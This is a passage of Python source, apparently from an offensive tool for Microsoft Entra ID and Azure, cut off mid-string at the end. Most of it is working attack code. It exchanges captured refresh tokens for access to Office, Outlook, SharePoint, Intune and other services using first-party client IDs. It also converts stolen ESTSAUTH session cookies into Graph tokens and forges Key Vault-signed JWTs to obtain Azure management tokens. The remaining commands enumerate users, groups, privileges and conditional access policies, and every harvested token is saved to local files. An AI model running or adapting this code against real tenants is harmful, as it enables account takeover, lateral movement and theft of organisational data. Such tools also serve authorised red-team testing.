print_yellow("\n[*] Invoke-RefreshToOfficeAppsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officeapps_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Apps token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoofficemanagementtoken - elif args.command and args.command.lower() == "invoke-refreshtoofficemanagementtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeManagementToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOfficeManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "00b41c95-dab0-4487-9791-b9d2c32c80f2" - refresh_token = access_token - resource = "https://manage.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officemanagement_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Management token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtooutlooktoken - elif args.command and args.command.lower() == "invoke-refreshtooutlooktoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOutlookToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOutlookToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://outlook.office365.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "outlook_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Outlook token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtosubstratetoken - elif args.command and args.command.lower() == "invoke-refreshtosubstratetoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSubstrateToken command") - return - - print_yellow("\n[*] Invoke-RefreshToSubstrateToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://substrate.office.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "substrate_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Substrate token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoyammertoken - elif args.command and args.command.lower() == "invoke-refreshtoyammertoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToYammerToken command") - return - - print_yellow("\n[*] Invoke-RefreshToYammerToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://www.yammer.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "yammer_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Yammer token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtointuneenrollmenttoken - elif args.command and args.command.lower() == "invoke-refreshtointuneenrollmenttoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToIntuneEnrollment command") - return - - print_yellow("\n[*] Invoke-RefreshToIntuneEnrollment") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = access_token - resource = "https://enrollment.manage.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "intune_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Intune Enrollment token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtoonedrivetoken - elif args.command and args.command.lower() == "invoke-refreshtoonedrivetoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOneDriveToken command") - return - - print_yellow("\n[*] Invoke-RefreshToOneDriveToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "onedrive_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get OneDrive token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-refreshtosharepointtoken - elif args.command and args.command.lower() == "invoke-refreshtosharepointtoken": - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") - return - - print_yellow("\n[*] Invoke-RefreshToSharePointToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = access_token - - try: - sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() - use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' - admin_suffix = '-admin' if use_admin else '' - - except KeyboardInterrupt: - sys.exit() - - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("\n[+] Token Obtained!\n") - - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "sharepoint_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get SharePoint token: {str(e)}") - print_red(response.text) - print("=" * 80) - - # invoke-certtoaccesstoken - elif args.command and args.command.lower() == "invoke-certtoaccesstoken": - if not args.tenant or not args.cert or not args.id: - print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") - return - - print_yellow("\n[*] Invoke-CertToAccessToken") - print("=" * 80) - tenant_id = args.tenant - client_id = args.id - cert_path = args.cert - - try: - audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - with open(cert_path, 'rb') as cert_file: - pfx_data = cert_file.read() - - private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) - # calculate x5t (X.509 cert SHA-1 thumbprint) - fingerprint = certificate.fingerprint(hashes.SHA1()) - x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') - - payload = { - 'sub': client_id, - 'nbf': datetime.now(timezone.utc), - 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), - 'iat': datetime.now(timezone.utc), - 'iss': client_id, - 'aud': audience - } - - private_key_pem = private_key.private_bytes( - encoding=serialization.Encoding.PEM, - format=serialization.PrivateFormat.TraditionalOpenSSL, - encryption_algorithm=serialization.NoEncryption() - ) - - jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) - user_agent = get_user_agent(args) - headers = { - 'Content-Type': 'application/x-www-form-urlencoded', - 'User-Agent': user_agent - } - - data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', - 'client_assertion': jwt_token, - 'scope': 'https://graph.microsoft.com/.default' - } - - try: - response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) - response.raise_for_status() - - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "cert_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get certificate access token: {str(e)}") - print_red(response.text) - - except Exception as e: - print_red(f"[-] Error loading .pfx file: {str(e)}") - print("=" * 80) - - # invoke-estscookietoaccesstoken - elif args.command and args.command.lower() == "invoke-estscookietoaccesstoken": - if not args.tenant or not args.estsauthcookie: - print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") - return - - print_yellow("\n[*] Invoke-ESTSCookieToAccessToken") - print("=" * 80) - user_agent = get_user_agent(args) - - try: - client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() - if client == "": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - print("Using Default Client: MSTeams") - elif client == "MSTeams": - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - elif client == "MSEdge": - client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" - elif client == "AzurePowerShell": - client_id = "1950a258-227b-4e31-a9cf-717495945fc2" - else: - print_red(f"[-] Invalid client: {client}") - print("=" * 80) - sys.exit() - - except KeyboardInterrupt: - sys.exit() - - print() - resource = "https://graph.microsoft.com/" - - headers = { - "User-Agent": user_agent - } - - ests_auth_cookie = get_access_token(args.estsauthcookie) - session = requests.Session() - - if ests_auth_cookie.startswith("ESTSAUTH="): - session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): - session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") - else: - print_red("[-] Invalid ESTS cookie format") - print("=" * 80) - sys.exit() - - state = str(uuid.uuid4()) - redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" - auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" - - response = session.get(auth_url, headers=headers, allow_redirects=False) - - if response.status_code == 302: - location = response.headers['Location'] - parsed_url = urlparse(location) - query_params = parse_qs(parsed_url.query) - - if 'code' in query_params: - refresh_token = query_params['code'][0] - else: - print_red("[-] Code not found in redirected URL path") - print_red(f" Requested URL: {auth_url}") - print_red(f" Response Code: {response.status_code}") - print_red(f" Response URI: {location}") - print("=" * 80) - return None - else: - print_red("[-] Expected 302 redirect but received other status") - print_red(f"[-] Requested URL: {auth_url}") - print_red(f"[-] Response Code: {response.status_code}") - print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") - print("=" * 80) - return None - - if refresh_token: - token_url = "https://login.microsoftonline.com/common/oauth2/token" - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "authorization_code", - "redirect_uri": redirect_uri, - "code": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - token_response = session.post(token_url, headers=headers, data=body) - token_response_json = token_response.json() - access_token = token_response_json.get('access_token') - - if access_token: - print_green("[+] Token Obtained!\n") - for key, value in token_response_json.items(): - print(f"[*] {key}: {value}") - - file_path = "estscookie_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - print("=" * 80) - else: - print_red("[-] Failed to obtain access token.") - print("=" * 80) - return None - else: - print_red("[-] Refresh token is missing.") - print("=" * 80) - return None - - # invoke-appsecrettoaccesstoken - elif args.command and args.command.lower() == "invoke-appsecrettoaccesstoken": - if not args.tenant or not args.id or not args.secret: - print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") - return - - print_yellow("\n[*] Invoke-AppSecretToAccessToken") - print("=" * 80) - - tenant_id = args.tenant - client_id = args.id - client_secret = args.secret - - token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - token_data = { - 'grant_type': 'client_credentials', - 'client_id': client_id, - 'client_secret': client_secret, - 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az - } - - # check cae for client_credential grants - - user_agent = get_user_agent(args) - headers = { - "User-Agent": user_agent - } - - try: - token_response = requests.post(token_url, data=token_data, headers=headers) - token_response.raise_for_status() - token_json = token_response.json() - - print_green("[+] Token Obtained!\n") - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "appsecret_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get app secret token: {str(e)}") - if 'token_response' in locals(): - print_red(token_response.text) - - print("=" * 80) - - # new-signedjwt - elif args.command and args.command.lower() == "new-signedjwt": - if not args.tenant or not args.id: - print_red("[-] Error: --tenant and --id required for New-SignedJWT command") - return - - print_yellow("\n[*] New-SignedJWT") - print("=" * 80) - try: - kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() - except KeyboardInterrupt: - sys.exit() - keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] - - # cert details - kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" - - headers = { - "Authorization": f"Bearer {access_token}" - } - - response = requests.get(kv_uri, headers=headers) - response.raise_for_status() - - certs = response.json() - cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) - - if not cert_uri: - raise Exception("Certificate not found.") - - cert_id = cert_uri['id'] - cert_uri_with_version = f"{cert_id}?api-version=7.3" - - response = requests.get(cert_uri_with_version, headers=headers) - response.raise_for_status() - - certificate = response.json() - x5t = certificate.get('x5t') - kid = certificate.get('kid') - - print_green("\n[+] Certificate Details Obtained!") - print(f"kid: {kid or 'N/A'}") - print(f"x5t: {x5t or 'N/A'}") - - # create JWT - print_green("\n[+] Forged JWT:") - app_id = args.id - audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" - - now = datetime.now(timezone.utc) - jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) - not_before = int(now.timestamp()) - - jwt_header = { - "x5t": x5t, - "typ": "JWT", - "alg": "RS256" - } - - jwt_payload = { - "exp": jwt_expiration, - "sub": app_id, - "nbf": not_before, - "jti": str(uuid.uuid4()), - "aud": audience, - "iss": app_id - } - - def base64url_encode(data): - return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') - - # encode header and payload - header_encoded = base64url_encode(json.dumps(jwt_header)) - payload_encoded = base64url_encode(json.dumps(jwt_payload)) - - # construct unsigned JWT - unsigned_jwt = f"{header_encoded}.{payload_encoded}" - - jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() - jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') - - # sign JWT - new_uri = f"{kid}/sign?api-version=7.3" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "Accept": "application/json", - "User-Agent": user_agent - } - request_body = { - "alg": "RS256", - "value": jwt_sha256_hash_b64 - } - - response = requests.post(new_uri, headers=headers, json=request_body) - response.raise_for_status() - signature = response.json()['value'] - - signed_jwt = f"{unsigned_jwt}.{signature}" - print(signed_jwt) - - # request azure management token - jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" - - parameters = { - "client_id": args.id, - "client_assertion": signed_jwt, - "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", - "scope": "https://management.azure.com/.default", - "grant_type": "client_credentials" - } - - response = requests.post(jwt_login, data=parameters) - - if not response.ok: - print(f"[-] Error: {response.status_code} ({response.reason}). {response.text}") - else: - print_green("\n[+] Azure Management Token Obtained!") - print(f"[*] Application ID: {args.id}") - print(f"[*] Tenant ID: {args.tenant}") - print("[*] Scope: https://management.azure.com/.default") - - response_json = response.json() - for key, value in response_json.items(): - print(f"[*] {key}: {value}") - print("=" * 80) - - - ########################## - # Post-Auth Enuemeration # - ########################## - - # get-currentuser - elif args.command and args.command.lower() == "get-currentuser": - print_yellow("\n[*] Get-CurrentUser") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-currentuseractivities - elif args.command and args.command.lower() == "get-currentuseractivities": - print_yellow("\n[*] Get-CurrentUserActivity") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/activities" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-orginfo - elif args.command and args.command.lower() == "get-orginfo": - print_yellow("\n[*] Get-OrgInfo") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/organization" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-domains - elif args.command and args.command.lower() == "get-domains": - print_yellow("\n[*] Get-Domains") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/domains" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-user - elif args.command and args.command.lower() == "get-user": - print_yellow("\n[*] Get-User") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/users" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userproperties - if args.command and args.command.lower() == "get-userproperties": - print_yellow("\n[*] Get-UserProperties") - print("=" * 80) - for p in properties: - if not args.id: - api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" - else: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - print(f"{p}: {response_json.get(p, 'N/A')}") - else: - print_red(f"[-] Failed to retrieve {p}: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userprivileges - elif args.command and args.command.lower() == "get-userprivileges": - print_yellow("\n[*] Get-UserPrivileges") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/memberOf" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-usertransitivegroupmembership - elif args.command and args.command.lower() == "get-usertransitivegroupmembership": - print_yellow("\n[*] Get-UserTransitiveGroupMembership") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-group - elif args.command and args.command.lower() == "get-group": - print_yellow("\n[*] Get-Group") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/groups" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if args.id: - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - if 'value' in response_json: - for user in response_json['value']: - for key, value in user.items(): - print(f"{key}: {value}") - print() - else: - print_red("[-] No users found or unexpected response format") - else: - print_red(f"[-] Failed to retrieve user(s): {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-groupmember - elif args.command and args.command.lower() == "get-groupmember": - if not args.id: - print_red("[-] Error: --id argument is required for Get-GroupMember command") - return - print_yellow("\n[*] Get-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" - if args.select: - api_url += f"?$select={args.select}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if 'value' in response_json and response_json['value']: - for item in response_json['value']: - for key, value in item.items(): - if key != "@odata.type": - if isinstance(value, list): - print(f"{key} :") - for list_item in value: - print(f" - {list_item}") - elif isinstance(value, dict): - print(f"{key} :") - for sub_key, sub_value in value.items(): - print(f" {sub_key} : {sub_value}") - else: - print(f"{key} : {value}") - print("\n") - else: - print_red("[-] Error: No members found in this group") - else: - print_red(f"[-] Failed to retrieve group members: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-userapproleassignments - elif args.command and args.command.lower() == "get-userapproleassignments": - print_yellow("\n[*] Get-UserAppRoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(access_token, api_url, args) - print("=" * 80) - - # get-conditionalaccesspolicy - elif args.command and args.command.lower() == "get-conditionalaccesspolicy": - if not args.id: - print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") - return - - print_yellow("\n[*] Get-ConditionalAccessPolicy") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - - else: - print_red(f"[-] Failed to retrieve CAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # get-application - elif args.command and args.command.lower() == "get-application": - if not args.id: - print_red("[-] Error: --id argument is required for Get-Application command") - return - - print_yellow("\n[*] Get-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - response_json = response.json() - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The 